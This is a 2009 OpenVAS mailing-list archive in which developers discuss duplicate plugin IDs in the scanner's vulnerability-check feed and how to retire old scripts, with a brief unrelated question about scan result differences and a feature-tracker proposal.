From shawnduffy at gmail.com Thu Mar 5 12:27:05 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 05 Mar 2009 06:27:05 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs Message-ID: <49AFB709.7090402@gmail.com> Hi all, I'm currently working on a database for managing OpenVAS plugins. It's only in its very early stages. But as I was working on importing plugin information into the database, I noticed that there are two plugins with the same plugin ID: secpod_nms_dvd_burning_sdk_actvx_vuln_900132.nasl secpod_nms_dvd_sdk_actvex_vuln_900132.nasl They are both using the ID 900132. Apart from being a problem for my database, I would imagine that one of these is not being run by OpenVAS since it references plugins by ID. Is this something that can be fixed in the next plugin update? Thanks! Shawn From bchandra at secpod.com Thu Mar 5 12:36:32 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Thu, 5 Mar 2009 17:06:32 +0530 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49AFB709.7090402@gmail.com> References: <49AFB709.7090402@gmail.com> Message-ID: Shawn, secpod_nms_dvd_sdk_actvex_vuln_900132.nasl is not there in the plugin repository now, it was deleted long back. Do you have the latest plugin set? Please remove that plugin manually. Thanks, Chandra. -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn Duffy Sent: Thursday, March 05, 2009 4:57 PM To: openvas-discuss at wald.intevation.org Subject: [Openvas-discuss] Duplicate plugin IDs Hi all, I'm currently working on a database for managing OpenVAS plugins. It's only in its very early stages. But as I was working on importing plugin information into the database, I noticed that there are two plugins with the same plugin ID: secpod_nms_dvd_burning_sdk_actvx_vuln_900132.nasl secpod_nms_dvd_sdk_actvex_vuln_900132.nasl They are both using the ID 900132. Apart from being a problem for my database, I would imagine that one of these is not being run by OpenVAS since it references plugins by ID. Is this something that can be fixed in the next plugin update? Thanks! Shawn _______________________________________________ Openvas-discuss mailing list Openvas-discuss at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From jan-oliver.wagner at intevation.de Thu Mar 5 14:33:51 2009 From: jan-oliver.wagner at intevation.de (Jan-Oliver Wagner) Date: Thu, 5 Mar 2009 14:33:51 +0100 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: References: <49AFB709.7090402@gmail.com> Message-ID: <200903051433.52996.jan-oliver.wagner@intevation.de> On Donnerstag, 5. M?rz 2009, Chandrashekhar B wrote: > secpod_nms_dvd_sdk_actvex_vuln_900132.nasl is not there in the plugin > repository now, it was deleted long back. Do you have the latest plugin set? > Please remove that plugin manually. The OpenVAS NVT Sync routines does not remove files in the plugin_folder. Even if a file is removed from the feed. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335083-0 | http://www.intevation.de/ Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From shawnduffy at gmail.com Thu Mar 5 16:08:33 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 05 Mar 2009 10:08:33 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: References: <49AFB709.7090402@gmail.com> Message-ID: <49AFEAF1.9060905@gmail.com> Thanks... I haven't synced it in the last week but this is from the core set that came with the plugins package, which was just downloaded last week. Chandrashekhar B wrote: > Shawn, > > secpod_nms_dvd_sdk_actvex_vuln_900132.nasl is not there in the plugin > repository now, it was deleted long back. Do you have the latest plugin set? > Please remove that plugin manually. > > Thanks, > Chandra. > > -----Original Message----- > From: openvas-discuss-bounces at wald.intevation.org > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn > Duffy > Sent: Thursday, March 05, 2009 4:57 PM > To: openvas-discuss at wald.intevation.org > Subject: [Openvas-discuss] Duplicate plugin IDs > > Hi all, > > I'm currently working on a database for managing OpenVAS plugins. It's > only in its very early stages. But as I was working on importing plugin > information into the database, I noticed that there are two plugins with > the same plugin ID: > > secpod_nms_dvd_burning_sdk_actvx_vuln_900132.nasl > secpod_nms_dvd_sdk_actvex_vuln_900132.nasl > > They are both using the ID 900132. Apart from being a problem for my > database, I would imagine that one of these is not being run by OpenVAS > since it references plugins by ID. Is this something that can be fixed > in the next plugin update? > > Thanks! > Shawn > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss > > From shawnduffy at gmail.com Thu Mar 5 17:26:09 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 05 Mar 2009 11:26:09 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: References: <49AFB709.7090402@gmail.com> Message-ID: <49AFFD21.10507@gmail.com> Will these be taken out of the core distribution? I'm assuming that since there are duplicate IDs, OpenVAS will use the last one it loads regardless of whether or not it should be there. I'm wondering if there's a way to denote when a script should not be used anymore. Perhaps adding some sort of flag within the script that can be checked by OpenVAS or by any plugin manager. It would then be synced once and effectively deactivated whether or not it's actually removed on the end system. I understand not wanting to remove them via the NVT sync because you risk removing custom plugins people might add. But I was wondering if there is a way to manage plugins that should be removed so they don't get loaded on top of valid plugins. FYI, there are a few other duplicates that come in openvas-plugins-1.0.5 as of a couple days ago: /usr/local/lib/openvas/plugins/secpod_libpng_detect_lin.nasl: script_id(900070); /usr/local/lib/openvas/plugins/secpod_winftp_server_dos_vuln.nasl: script_id(900070); /usr/local/lib/openvas/plugins/secpod_libpng_null_pntr_vuln.nasl: script_id(900071); /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_win.nasl: script_id(900071); /usr/local/lib/openvas/plugins/secpod_ms09-001.nasl: script_id(900069); /usr/local/lib/openvas/plugins/secpod_wsftp_server_sec_bypass_vuln.nasl: script_id(900069); /usr/local/lib/openvas/plugins/secpod_openoffice_detect_win.nasl: script_id(900072); /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_lin.nasl: script_id(900072); Can anyone tell me which of these are deprecated and should be removed? Thanks, Shawn Chandrashekhar B wrote: > Shawn, > > secpod_nms_dvd_sdk_actvex_vuln_900132.nasl is not there in the plugin > repository now, it was deleted long back. Do you have the latest plugin set? > Please remove that plugin manually. > > Thanks, > Chandra. > > -----Original Message----- > From: openvas-discuss-bounces at wald.intevation.org > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn > Duffy > Sent: Thursday, March 05, 2009 4:57 PM > To: openvas-discuss at wald.intevation.org > Subject: [Openvas-discuss] Duplicate plugin IDs > > Hi all, > > I'm currently working on a database for managing OpenVAS plugins. It's > only in its very early stages. But as I was working on importing plugin > information into the database, I noticed that there are two plugins with > the same plugin ID: > > secpod_nms_dvd_burning_sdk_actvx_vuln_900132.nasl > secpod_nms_dvd_sdk_actvex_vuln_900132.nasl > > They are both using the ID 900132. Apart from being a problem for my > database, I would imagine that one of these is not being run by OpenVAS > since it references plugins by ID. Is this something that can be fixed > in the next plugin update? > > Thanks! > Shawn > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss > > From lists at securityspace.com Thu Mar 5 17:59:05 2009 From: lists at securityspace.com (Thomas Reinke) Date: Thu, 05 Mar 2009 11:59:05 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49AFFD21.10507@gmail.com> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> Message-ID: <49B004D9.5030909@securityspace.com> The simple technique, ugly, but safe technique that probably ought to be adopted is anytime a script is removed to simply NOT remove it, but to make the contents be simply "exit(0)"; That way, the script is effectively made impotent without worrying about how to manage removal in a safe way. Shawn Duffy wrote: > Will these be taken out of the core distribution? I'm assuming that > since there are duplicate IDs, OpenVAS will use the last one it loads > regardless of whether or not it should be there. > > I'm wondering if there's a way to denote when a script should not be > used anymore. Perhaps adding some sort of flag within the script that > can be checked by OpenVAS or by any plugin manager. It would then be > synced once and effectively deactivated whether or not it's actually > removed on the end system. > > I understand not wanting to remove them via the NVT sync because you > risk removing custom plugins people might add. But I was wondering if > there is a way to manage plugins that should be removed so they don't > get loaded on top of valid plugins. > > FYI, there are a few other duplicates that come in openvas-plugins-1.0.5 > as of a couple days ago: > > /usr/local/lib/openvas/plugins/secpod_libpng_detect_lin.nasl: > script_id(900070); > /usr/local/lib/openvas/plugins/secpod_winftp_server_dos_vuln.nasl: > script_id(900070); > > /usr/local/lib/openvas/plugins/secpod_libpng_null_pntr_vuln.nasl: > script_id(900071); > /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_win.nasl: > script_id(900071); > > /usr/local/lib/openvas/plugins/secpod_ms09-001.nasl: script_id(900069); > /usr/local/lib/openvas/plugins/secpod_wsftp_server_sec_bypass_vuln.nasl: > script_id(900069); > > /usr/local/lib/openvas/plugins/secpod_openoffice_detect_win.nasl: > script_id(900072); > /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_lin.nasl: > script_id(900072); > > Can anyone tell me which of these are deprecated and should be removed? > > Thanks, > Shawn > > Chandrashekhar B wrote: >> Shawn, >> >> secpod_nms_dvd_sdk_actvex_vuln_900132.nasl is not there in the plugin >> repository now, it was deleted long back. Do you have the latest plugin set? >> Please remove that plugin manually. >> >> Thanks, >> Chandra. >> >> -----Original Message----- >> From: openvas-discuss-bounces at wald.intevation.org >> [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn >> Duffy >> Sent: Thursday, March 05, 2009 4:57 PM >> To: openvas-discuss at wald.intevation.org >> Subject: [Openvas-discuss] Duplicate plugin IDs >> >> Hi all, >> >> I'm currently working on a database for managing OpenVAS plugins. It's >> only in its very early stages. But as I was working on importing plugin >> information into the database, I noticed that there are two plugins with >> the same plugin ID: >> >> secpod_nms_dvd_burning_sdk_actvx_vuln_900132.nasl >> secpod_nms_dvd_sdk_actvex_vuln_900132.nasl >> >> They are both using the ID 900132. Apart from being a problem for my >> database, I would imagine that one of these is not being run by OpenVAS >> since it references plugins by ID. Is this something that can be fixed >> in the next plugin update? >> >> Thanks! >> Shawn >> _______________________________________________ >> Openvas-discuss mailing list >> Openvas-discuss at wald.intevation.org >> http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss >> >> > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss > From shawnduffy at gmail.com Thu Mar 5 18:13:27 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 05 Mar 2009 12:13:27 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49B004D9.5030909@securityspace.com> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> <49B004D9.5030909@securityspace.com> Message-ID: <49B00837.8050500@gmail.com> Well, I think the problem there is twofold: 1) It'll still show up as loaded and a user may think they're checking for something they're not actually checking for. 2) If it has a plugin ID that's in use by another plugin (of which there appear to be 5 duplicate ID sets in the current distro) you may end up loading an outdated plugin over top an active one and OpenVAS will try to execute the outdated one rather than the real one. I'm assuming that's the case since it appears to manage plugins via plugin ID. I was proposing putting some sort of tag in a plugin that indicates that it should no longer be used. It would require some tweaking of the OpenVAS server code but only a minor tweak. If the deprecated tag is present, don't load the plugin and move on. It would also help in easily searching through existing plugins for ones that are outdated. Shawn Thomas Reinke wrote: > The simple technique, ugly, but safe technique that probably ought > to be adopted is anytime a script is removed to simply NOT remove > it, but to make the contents be simply "exit(0)"; > > That way, the script is effectively made impotent without > worrying about how to manage removal in a safe way. > > Shawn Duffy wrote: >> Will these be taken out of the core distribution? I'm assuming that >> since there are duplicate IDs, OpenVAS will use the last one it loads >> regardless of whether or not it should be there. >> >> I'm wondering if there's a way to denote when a script should not be >> used anymore. Perhaps adding some sort of flag within the script that >> can be checked by OpenVAS or by any plugin manager. It would then be >> synced once and effectively deactivated whether or not it's actually >> removed on the end system. >> >> I understand not wanting to remove them via the NVT sync because you >> risk removing custom plugins people might add. But I was wondering if >> there is a way to manage plugins that should be removed so they don't >> get loaded on top of valid plugins. >> >> FYI, there are a few other duplicates that come in openvas-plugins-1.0.5 >> as of a couple days ago: >> >> /usr/local/lib/openvas/plugins/secpod_libpng_detect_lin.nasl: >> script_id(900070); >> /usr/local/lib/openvas/plugins/secpod_winftp_server_dos_vuln.nasl: >> script_id(900070); >> >> /usr/local/lib/openvas/plugins/secpod_libpng_null_pntr_vuln.nasl: >> script_id(900071); >> /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_win.nasl: >> script_id(900071); >> >> /usr/local/lib/openvas/plugins/secpod_ms09-001.nasl: script_id(900069); >> /usr/local/lib/openvas/plugins/secpod_wsftp_server_sec_bypass_vuln.nasl: >> script_id(900069); >> >> /usr/local/lib/openvas/plugins/secpod_openoffice_detect_win.nasl: >> script_id(900072); >> /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_lin.nasl: >> script_id(900072); >> >> Can anyone tell me which of these are deprecated and should be removed? >> >> Thanks, >> Shawn >> >> Chandrashekhar B wrote: >>> Shawn, >>> >>> secpod_nms_dvd_sdk_actvex_vuln_900132.nasl is not there in the plugin >>> repository now, it was deleted long back. Do you have the latest >>> plugin set? >>> Please remove that plugin manually. >>> Thanks, >>> Chandra. >>> >>> -----Original Message----- >>> From: openvas-discuss-bounces at wald.intevation.org >>> [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn >>> Duffy >>> Sent: Thursday, March 05, 2009 4:57 PM >>> To: openvas-discuss at wald.intevation.org >>> Subject: [Openvas-discuss] Duplicate plugin IDs >>> >>> Hi all, >>> >>> I'm currently working on a database for managing OpenVAS plugins. It's >>> only in its very early stages. But as I was working on importing plugin >>> information into the database, I noticed that there are two plugins with >>> the same plugin ID: >>> >>> secpod_nms_dvd_burning_sdk_actvx_vuln_900132.nasl >>> secpod_nms_dvd_sdk_actvex_vuln_900132.nasl >>> >>> They are both using the ID 900132. Apart from being a problem for my >>> database, I would imagine that one of these is not being run by OpenVAS >>> since it references plugins by ID. Is this something that can be fixed >>> in the next plugin update? >>> >>> Thanks! >>> Shawn >>> _______________________________________________ >>> Openvas-discuss mailing list >>> Openvas-discuss at wald.intevation.org >>> http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss >>> >>> >> _______________________________________________ >> Openvas-discuss mailing list >> Openvas-discuss at wald.intevation.org >> http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss >> > > From lists at securityspace.com Thu Mar 5 21:03:36 2009 From: lists at securityspace.com (Thomas Reinke) Date: Thu, 05 Mar 2009 15:03:36 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49B00837.8050500@gmail.com> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> <49B004D9.5030909@securityspace.com> <49B00837.8050500@gmail.com> Message-ID: <49B03018.9090307@securityspace.com> I think there was a misunderstanding. I mean replace the ENTIRE script with the one line "exit(0)", not just the actual test logic. Remove everything, including the "if(description)" section, leaving only one line in the file. The server won't read anything (except exit). It thus can't pass anything on to make the user think the script is still active. There won't be any plugin ID conflicts, since there won't be a plugin ID in the deprecated script. You can't overwrite a different script (well, unless you are grabbing stuff from multiple sources and filenames themselves conflict, which is a completely different problem). And it won't require any code tweaks in the server. Thomas Shawn Duffy wrote: > Well, I think the problem there is twofold: > > 1) It'll still show up as loaded and a user may think they're checking > for something they're not actually checking for. > > 2) If it has a plugin ID that's in use by another plugin (of which there > appear to be 5 duplicate ID sets in the current distro) you may end up > loading an outdated plugin over top an active one and OpenVAS will try > to execute the outdated one rather than the real one. I'm assuming > that's the case since it appears to manage plugins via plugin ID. > > I was proposing putting some sort of tag in a plugin that indicates that > it should no longer be used. It would require some tweaking of the > OpenVAS server code but only a minor tweak. If the deprecated tag is > present, don't load the plugin and move on. It would also help in > easily searching through existing plugins for ones that are outdated. From bchandra at secpod.com Fri Mar 6 05:27:28 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Fri, 6 Mar 2009 09:57:28 +0530 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49AFFD21.10507@gmail.com> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> Message-ID: <22F476AE7C844BE9BB97BD776D8964DC@bchandra> -----Original Message----- From: Shawn Duffy [mailto:shawnduffy at gmail.com] Sent: Thursday, March 05, 2009 9:56 PM To: Chandrashekhar B Cc: openvas-discuss at wald.intevation.org Subject: Re: [Openvas-discuss] Duplicate plugin IDs > FYI, there are a few other duplicates that come in openvas-plugins-1.0.5 > as of a couple days ago: > /usr/local/lib/openvas/plugins/secpod_libpng_detect_lin.nasl: > script_id(900070); > /usr/local/lib/openvas/plugins/secpod_winftp_server_dos_vuln.nasl: > script_id(900070); > /usr/local/lib/openvas/plugins/secpod_libpng_null_pntr_vuln.nasl: > script_id(900071); > /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_win.nasl: > script_id(900071); > /usr/local/lib/openvas/plugins/secpod_ms09-001.nasl: script_id(900069); > /usr/local/lib/openvas/plugins/secpod_wsftp_server_sec_bypass_vuln.nasl: > script_id(900069); > /usr/local/lib/openvas/plugins/secpod_openoffice_detect_win.nasl: > script_id(900072); > /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_lin.nasl: > script_id(900072); > Can anyone tell me which of these are deprecated and should be removed? These aren't deprecated. We messed during our internal release process. You'll have the corrected ones in the next plugin update. Thanks, Chandra. From bchandra at secpod.com Fri Mar 6 05:31:09 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Fri, 6 Mar 2009 10:01:09 +0530 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49B03018.9090307@securityspace.com> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> <49B004D9.5030909@securityspace.com><49B00837.8050500@gmail.com> <49B03018.9090307@securityspace.com> Message-ID: <1B2C5879B77640799D818C4C82E664AE@bchandra> I think exit(0) would be the way to do as a means to deprecate. I ran a check to detect duplicate script_id and script_name. It reported quiet a few. I have addressed some of them but, number of freebsd_* scripts have duplicate script_name. We should put checks in order to verify duplicate ID's, script name etc. This will ensure that before plugins release, such errors are caught and addressed. We had been talking about this for quiet sometime, haven't found the time to put this into process. We'll take this up soon. Thanks, Chandra. -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Thomas Reinke Sent: Friday, March 06, 2009 1:34 AM To: openvas-discuss at wald.intevation.org Subject: Re: [Openvas-discuss] Duplicate plugin IDs I think there was a misunderstanding. I mean replace the ENTIRE script with the one line "exit(0)", not just the actual test logic. Remove everything, including the "if(description)" section, leaving only one line in the file. The server won't read anything (except exit). It thus can't pass anything on to make the user think the script is still active. There won't be any plugin ID conflicts, since there won't be a plugin ID in the deprecated script. You can't overwrite a different script (well, unless you are grabbing stuff from multiple sources and filenames themselves conflict, which is a completely different problem). And it won't require any code tweaks in the server. Thomas Shawn Duffy wrote: > Well, I think the problem there is twofold: > > 1) It'll still show up as loaded and a user may think they're checking > for something they're not actually checking for. > > 2) If it has a plugin ID that's in use by another plugin (of which there > appear to be 5 duplicate ID sets in the current distro) you may end up > loading an outdated plugin over top an active one and OpenVAS will try > to execute the outdated one rather than the real one. I'm assuming > that's the case since it appears to manage plugins via plugin ID. > > I was proposing putting some sort of tag in a plugin that indicates that > it should no longer be used. It would require some tweaking of the > OpenVAS server code but only a minor tweak. If the deprecated tag is > present, don't load the plugin and move on. It would also help in > easily searching through existing plugins for ones that are outdated. _______________________________________________ Openvas-discuss mailing list Openvas-discuss at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From jan-oliver.wagner at intevation.de Fri Mar 6 08:34:40 2009 From: jan-oliver.wagner at intevation.de (Jan-Oliver Wagner) Date: Fri, 6 Mar 2009 08:34:40 +0100 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49B03018.9090307@securityspace.com> References: <49AFB709.7090402@gmail.com> <49B00837.8050500@gmail.com> <49B03018.9090307@securityspace.com> Message-ID: <200903060834.43299.jan-oliver.wagner@intevation.de> On Donnerstag, 5. M?rz 2009, Thomas Reinke wrote: > I think there was a misunderstanding. > > I mean replace the ENTIRE script with the one line "exit(0)", > not just the actual test logic. Remove everything, including > the "if(description)" section, leaving only one line in the > file. > > The server won't read anything (except exit). It thus can't > pass anything on to make the user think the script is still > active. There won't be any plugin ID conflicts, since there > won't be a plugin ID in the deprecated script. You can't > overwrite a different script (well, unless you are grabbing > stuff from multiple sources and filenames themselves conflict, > which is a completely different problem). > And it won't require any code tweaks in the server. I rather prefer to refine the sync process. And perhaps the openvas-plugins installation process in order to take identify and handle such situations. Mistakes might happen in the future. And it is not simple retiring, it can be just bugs. Having automized routines to take care of it, would be the best option IMHO. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335083-0 | http://www.intevation.de/ Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From marc.rennhard at zhaw.ch Fri Mar 6 09:34:34 2009 From: marc.rennhard at zhaw.ch (Marc Rennhard) Date: Fri, 06 Mar 2009 09:34:34 +0100 Subject: [Openvas-discuss] Minor differences in subsequent scans Message-ID: <49B0E01A.50901@zhaw.ch> Dear list I'm currently evaluating Openvas, primarily as a Nessus replacement. I'm working unde Linux using the latest versions for client, server and plugins. The server I test runs several services (ssh, smtp, http, pop3s, imaps and another http service on port 8443). I always use all plugins and haven't changed the default plugin settings. Now consider the following: In one scan, I only specify port 80 in the port scan list (I leave the "Consider unscanned ports as closed" checkbox unchecked); in the next scan I specify all open ports (22,25,80.993,995,8443). Several issues are reported with respect to port 80 in bot cases, but there are two differences in the sense that two additional issues are listed when I specify only port 80: - Under Security Warning, I get additionally the output of the robots.txt plugin (1.3.6.1.4.1.25623.1.0.10302) - Under Security Notes, I get additionally the output of the Nikto plugin (1.3.6.1.4.1.25623.1.0.14260) Does anyone has an idea, why these two issues are reported in the first but not in the second scan? And yes, I could reproduce this several times. Thanks for any help, Marc From shawnduffy at gmail.com Fri Mar 6 12:47:07 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Fri, 06 Mar 2009 06:47:07 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <22F476AE7C844BE9BB97BD776D8964DC@bchandra> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> <22F476AE7C844BE9BB97BD776D8964DC@bchandra> Message-ID: <49B10D3B.2020900@gmail.com> Great! Thanks for the help! Chandrashekhar B wrote: > -----Original Message----- > From: Shawn Duffy [mailto:shawnduffy at gmail.com] > Sent: Thursday, March 05, 2009 9:56 PM > To: Chandrashekhar B > Cc: openvas-discuss at wald.intevation.org > Subject: Re: [Openvas-discuss] Duplicate plugin IDs > >> FYI, there are a few other duplicates that come in openvas-plugins-1.0.5 >> as of a couple days ago: > >> /usr/local/lib/openvas/plugins/secpod_libpng_detect_lin.nasl: >> script_id(900070); >> /usr/local/lib/openvas/plugins/secpod_winftp_server_dos_vuln.nasl: >> script_id(900070); > >> /usr/local/lib/openvas/plugins/secpod_libpng_null_pntr_vuln.nasl: >> script_id(900071); >> /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_win.nasl: >> script_id(900071); > >> /usr/local/lib/openvas/plugins/secpod_ms09-001.nasl: script_id(900069); >> /usr/local/lib/openvas/plugins/secpod_wsftp_server_sec_bypass_vuln.nasl: >> script_id(900069); > >> /usr/local/lib/openvas/plugins/secpod_openoffice_detect_win.nasl: >> script_id(900072); >> /usr/local/lib/openvas/plugins/secpod_opera_mult_vuln_dec08_lin.nasl: >> script_id(900072); > >> Can anyone tell me which of these are deprecated and should be removed? > > > These aren't deprecated. We messed during our internal release process. > You'll have the corrected ones in the next plugin update. > > Thanks, > Chandra. > > From lists at securityspace.com Fri Mar 6 19:17:20 2009 From: lists at securityspace.com (Thomas Reinke) Date: Fri, 06 Mar 2009 13:17:20 -0500 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <1B2C5879B77640799D818C4C82E664AE@bchandra> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> <49B004D9.5030909@securityspace.com><49B00837.8050500@gmail.com> <49B03018.9090307@securityspace.com> <1B2C5879B77640799D818C4C82E664AE@bchandra> Message-ID: <49B168B0.90107@securityspace.com> Chandrashekhar B wrote: > I ran a check to detect duplicate script_id and script_name. It reported > quiet a few. I have addressed some of them but, number of freebsd_* scripts > have duplicate script_name. What's the negative impact of having script_name being duplicate? I ask because we have never had any logic to prevent that from happening when we generate our scripts, nor seen any problems. Thomas From bchandra at secpod.com Mon Mar 9 08:49:35 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Mon, 9 Mar 2009 13:19:35 +0530 Subject: [Openvas-discuss] Duplicate plugin IDs In-Reply-To: <49B168B0.90107@securityspace.com> References: <49AFB709.7090402@gmail.com> <49AFFD21.10507@gmail.com> <49B004D9.5030909@securityspace.com><49B00837.8050500@gmail.com> <49B03018.9090307@securityspace.com><1B2C5879B77640799D818C4C82E664AE@bchandra> <49B168B0.90107@securityspace.com> Message-ID: -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Thomas Reinke Sent: Friday, March 06, 2009 11:47 PM To: openvas-discuss at wald.intevation.org Subject: Re: [Openvas-discuss] Duplicate plugin IDs Chandrashekhar B wrote: >> I ran a check to detect duplicate script_id and script_name. It reported >> quiet a few. I have addressed some of them but, number of freebsd_* scripts >> have duplicate script_name. > What's the negative impact of having script_name being duplicate? > I ask because we have never had any logic to prevent that from > happening when we generate our scripts, nor seen any problems. There's no issue with the functionality but, more from the convention to avoid confusion while selecting Plugins and creating policies. Thanks, Chandra. From bchandra at secpod.com Mon Mar 9 08:55:17 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Mon, 9 Mar 2009 13:25:17 +0530 Subject: [Openvas-discuss] Minor differences in subsequent scans In-Reply-To: <49B0E01A.50901@zhaw.ch> References: <49B0E01A.50901@zhaw.ch> Message-ID: <4B0F3340169A4C5B98DD9F1E846DA112@bchandra> Hello Marc, Just to help us understand the problem better, can you remove 8443 from the second list and let me know if the report is proper? Thanks, Chandra. -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Marc Rennhard Sent: Friday, March 06, 2009 2:05 PM To: openvas-discuss at wald.intevation.org Subject: [Openvas-discuss] Minor differences in subsequent scans Dear list I'm currently evaluating Openvas, primarily as a Nessus replacement. I'm working unde Linux using the latest versions for client, server and plugins. The server I test runs several services (ssh, smtp, http, pop3s, imaps and another http service on port 8443). I always use all plugins and haven't changed the default plugin settings. Now consider the following: In one scan, I only specify port 80 in the port scan list (I leave the "Consider unscanned ports as closed" checkbox unchecked); in the next scan I specify all open ports (22,25,80.993,995,8443). Several issues are reported with respect to port 80 in bot cases, but there are two differences in the sense that two additional issues are listed when I specify only port 80: - Under Security Warning, I get additionally the output of the robots.txt plugin (1.3.6.1.4.1.25623.1.0.10302) - Under Security Notes, I get additionally the output of the Nikto plugin (1.3.6.1.4.1.25623.1.0.14260) Does anyone has an idea, why these two issues are reported in the first but not in the second scan? And yes, I could reproduce this several times. Thanks for any help, Marc _______________________________________________ Openvas-discuss mailing list Openvas-discuss at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From christian.edjenguele at owasp.org Mon Mar 9 20:21:47 2009 From: christian.edjenguele at owasp.org (Christian Eric Edjenguele) Date: Mon, 09 Mar 2009 20:21:47 +0100 Subject: [Openvas-discuss] Idea features tracking Message-ID: <49B56C4B.3010700@owasp.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello list, one idea to avoid duplicate plugin development or feature for openvas, must be to set a trac base system (http://trac.edgewall.org/), like, but must powerful than the actual tracker. developer could also be able to add features there for proposal. what do you think ? - -- Christian Eric Edjenguele IT Security Software Engineer / IT Enterprise Software Architect Mobile (IT): +39 3408580513 PGP KeyID: 0xB1654498 Key Server: http://pgp.mit.edu - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.9 (GNU/Linux) mQENBEmka7IBCAC5e8/9BlCZR/3XHMO4DWHYoewaODmQypHqPaCfKR+BLTAy8xLZ eVJ0wwNwaLheZeLPfBqu3r/lp58xJhgYHm9gzihfqPbmJh4Dibc/d2XL9UQ1eshs K0JkTlvZtdK5Zo5VmeOZCWlKEMXzlg6HjuYUV4qokqD3qIj6/rhubjtrjlw/XA8P 6pGOFhsDZFXbn+lj80XhRdkObMnmWU6wdgJvEPx1vxvhV9D1sJgZz6FVoXAfTOb3 EjYpluEKdDod46hhF45UJ4Avc8q4DaXxmci5Kdx9rzF2tbvB3Ua6O7l5RaMGNZR2 QtVY65xVxRfAYF+yE3n+YkFQxWGlqVIajry/ABEBAAG0WkNocmlzdGlhbiBFcmlj IEVESkVOR1VFTEUgKElUIFNlY3VyaXR5IFNvZnR3YXJlIEVuZ2luZWVyKSA8Y2hy aXN0aWFuLmVkamVuZ3VlbGVAb3dhc3Aub3JnPokBNgQTAQIAIAUCSaRrsgIbAwYL CQgHAwIEFQIIAwQWAgMBAh4BAheAAAoJENETScWxZUSYS9QH+gOpYUPkon/D/eNm RLCbTaqJhSV6jRH9t+pomm6FiYgphCxDW96OpzA9BieiFEPHhVXAFcHkEBMlk/u0 